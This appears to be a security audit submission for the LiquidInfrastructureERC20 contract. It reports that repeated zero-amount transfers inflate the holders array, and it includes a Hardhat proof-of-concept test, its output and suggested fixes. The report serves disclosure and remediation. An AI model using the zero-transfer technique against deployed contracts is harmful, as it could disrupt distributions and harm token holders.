Althea Liquid Infrastructure - shaflow2's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L143

Vulnerability details

Impact

Some addresses that are on the HolderAllowlist but do not hold any LiquidInfrastructureERC20 tokens might be repeatedly added to the holders array, potentially causing issues in the system, such as failure in distribution processes. If a malicious actor possesses two Holder Allowlist addresses, it becomes easier to infinitely increase the holders array.

Proof of Concept

In the _beforeTokenTransfer function, the to address will be checked to determine whether it should be added to the holders array.
Github:[143]

    bool exists = (this.balanceOf(to) != 0);
    if (!exists) {
        holders.push(to);
    }

The logic implemented is that if the balance of the to address is zero, then they are definitely not in the holders array. However, after a transfer, if their balance becomes greater than zero, indicating that the to address now holds some LiquidInfrastructureERC20 tokens, they need to be added to the holders array.

However, as LiquidInfrastructureERC20 does not restrict transfers with an amount of 0, this implies that if an address is on the HolderAllowlist but does not hold any LiquidInfrastructureERC20 tokens, any other address can transfer tokens with an amount of 0 to this address an arbitrary number of times. Consequently, each time such a transfer occurs, the address will be added to the holders array because the balance of to address remains 0 after each transfer.

If the caller of the transfer function with amount 0 holds any amount of LiquidInfrastructureERC20, then they don't need to iterate through the holders array in the _afterTokenTransfer function, making it very easy to infinitely increase the holders array.

POC:

I have implemented a simple function called getHoldersLength() to retrieve the length of the holders array.

• In this test, holder1 is added to the HolderAllowlist but does not hold any tokens.
• Holder2 is not on the HolderAllowlist.
• Before the transfer, the length of the holders array is 0.
• Holder2 initiates 100 transfers with an amount of 0 to holder1.
• Holder1 is added to the holders array 100 times.The length of the holders array increases to 100.

async function testTransferZero(
  infraERC20: LiquidInfrastructureERC20,
  holder1: HardhatEthersSigner,
  holder2: HardhatEthersSigner,
  badSigner: HardhatEthersSigner) {
  const infraERC20NotOwner = infraERC20.connect(badSigner);
  const initialSupply = await infraERC20.totalSupply();
  expect(await infraERC20.isApprovedHolder(holder1.address)).to.be.false;
  expect(await infraERC20.isApprovedHolder(holder2.address)).to.be.false;
  expect(await infraERC20.isApprovedHolder(badSigner.address)).to.be.false;

  await expect(infraERC20.approveHolder(holder1.address)).to.not.be.reverted;
  expect(await infraERC20.isApprovedHolder(holder1.address)).to.be.true;
  expect(await infraERC20.getholderslength()).to.equal(0);
  const infraERC20Holder2 = infraERC20.connect(holder2);
  for (let i = 0; i < 100; i++) {
    await expect(infraERC20Holder2.transfer(holder1.address, 0)).to.not.be.reverted;
  }
  expect(await infraERC20.getholderslength()).to.equal(100);
}

result

> althea-contracts@1.0.0 test
> npx hardhat test test/liquidERC20.ts



  LiquidInfrastructureERC20 tests
    ✔ testTransferZero (4085ms)


  1 passing (4s)

Tools Used

hardhat,Manual review.

Recommended Mitigation Steps

• Method one
  To make LiquidInfrastructureERC20 restrict transfers with an amount of 0.
  Limitation: This change will make LiquidInfrastructureERC20 non-compliant with the ERC20 standard.
• Method two
  Adding a check before adding to to the holders to verify whether the transfer amount is 0.

    bool nonZeroAmount = (amount > 0);
    bool zeroBalance = (this.balanceOf(to) == 0);
    if (nonZeroAmount && zeroBalance) {
        holders.push(to);
    }

Assessed type

Other